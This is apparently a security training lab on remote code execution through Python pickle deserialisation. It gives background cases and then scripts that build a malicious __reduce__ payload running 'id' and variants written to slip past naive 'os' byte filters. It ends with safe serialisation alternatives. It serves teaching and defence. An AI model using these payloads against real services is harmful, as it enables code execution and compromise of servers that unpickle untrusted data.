Craft malicious Python pickle payloads to achieve Remote Code Execution via a deserialisation vulnerability:
Understand how pickle.loads() on untrusted data allows arbitrary code execution
Craft a malicious pickle that runs id and returns the output in the HTTP response
Read /etc/passwd and write files via serialised payloads
Exploit both the session endpoint and the cache endpoint with the same technique
Background
Python's pickle module serialises Python objects to bytes. The critical danger: pickle can serialise any callable, including os.system. When the victim deserialises your data, the __reduce__ method is called — and if you control that method, you control what runs on the server.
Real-world examples:
2011 Django — session data was stored as pickled bytes in cookies; if SECRET_KEY was leaked, an attacker could forge a session with arbitrary Python code. This affected millions of Django installations.
2022 PyTorch (CVE-2022-45907) — torch.load() uses pickle; any model file from an untrusted source could execute arbitrary code on the researcher's machine during training.
Apache Spark — RDD serialisation via pickle; cluster workers would execute attacker-controlled code when deserialising distributed task data.
Redis cached objects — many Python apps cache pickled objects in Redis; if Redis is exposed or the cache is poisoned, every worker that deserialises the object is compromised.
OWASP: A08:2021 Software and Data Integrity Failures
Architecture
Time
45 minutes
Lab Instructions
Step 1: Setup
Step 2: Launch Kali and Understand Legitimate Pickle
📸 Verified Output:
Step 3: Craft Malicious Pickle — RCE Payload
📸 Verified Output:
💡 __reduce__ is the core of pickle serialisation. When pickle encounters an object, it calls __reduce__() which should return a (callable, args) tuple telling pickle how to reconstruct the object. Pickle then stores "call callable with args". On deserialisation, it executes that call — and there's nothing stopping you from returning (os.system, ("id",)) as the "reconstruction" instructions.
python3 << 'EOF'
import pickle, base64, pickletools, io
# Show what's inside a malicious pickle at the opcode level
class RCE:
def __reduce__(self):
return (eval, ("__import__('os').system('id')",))
malicious = pickle.dumps(RCE())
print(f"[*] Malicious pickle opcodes (pickletools.dis):")
pickletools.dis(io.BytesIO(malicious))
print()
print(f"[*] Full bytes: {malicious.hex()}")
print()
print("[*] Legitimate session pickle opcodes:")
session = pickle.dumps({'user': 'alice', 'role': 'user'})
pickletools.dis(io.BytesIO(session))
EOF
python3 << 'EOF'
import pickle, base64
# Some apps try to "validate" pickle by checking for b'os' in the bytes
# Show bypass techniques
class RCE_bypass1:
"""Bypass: use __import__ string split to avoid literal 'os'"""
def __reduce__(self):
return (eval, ("getattr(__import__('o'+'s'), 'sy'+'stem')('id')",))
class RCE_bypass2:
"""Bypass: use builtins directly"""
def __reduce__(self):
return (eval, ("__import__('subprocess').check_output(['id'],text=True)",))
for cls, name in [(RCE_bypass1, "string concat bypass"), (RCE_bypass2, "subprocess bypass")]:
raw = pickle.dumps(cls())
b64 = base64.b64encode(raw).decode()
has_os = b'os' in raw
print(f"{name}: {len(raw)} bytes, contains b'os': {has_os}")
print(f" payload: {b64[:60]}...")
print()
EOF
python3 << 'EOF'
import json, base64, hmac, hashlib, os
SECRET = os.urandom(32)
# SAFE option 1: use JSON for session data (no code execution possible)
session = {'user': 'alice', 'role': 'user', 'exp': 9999999999}
json_session = base64.b64encode(json.dumps(session).encode()).decode()
print(f"JSON session (safe): {json_session[:60]}...")
print(f"Decoded: {json.loads(base64.b64decode(json_session))}")
# SAFE option 2: HMAC-signed JSON (tamper-proof + no RCE)
import time
payload = json.dumps({'user': 'alice', 'role': 'user', 'exp': int(time.time())+3600})
sig = hmac.new(SECRET, payload.encode(), hashlib.sha256).hexdigest()
signed_token = base64.b64encode(f"{payload}|{sig}".encode()).decode()
print(f"\nHMAC-signed JSON token: {signed_token[:60]}...")
print("Any modification invalidates the HMAC signature")
print("JSON cannot execute code — only data")
# What to use instead of pickle
print("\n=== Alternatives to pickle ===")
alternatives = [
("json", "Safe for dicts/lists/primitives. No code execution possible."),
("msgpack", "Fast binary serialisation. No code execution."),
("protobuf", "Google's binary format. Schema-validated. No code execution."),
("itsdangerous","Signed serialisation (used by Flask sessions). Safe by design."),
]
for lib, desc in alternatives:
print(f" {lib:<15} {desc}")
EOF
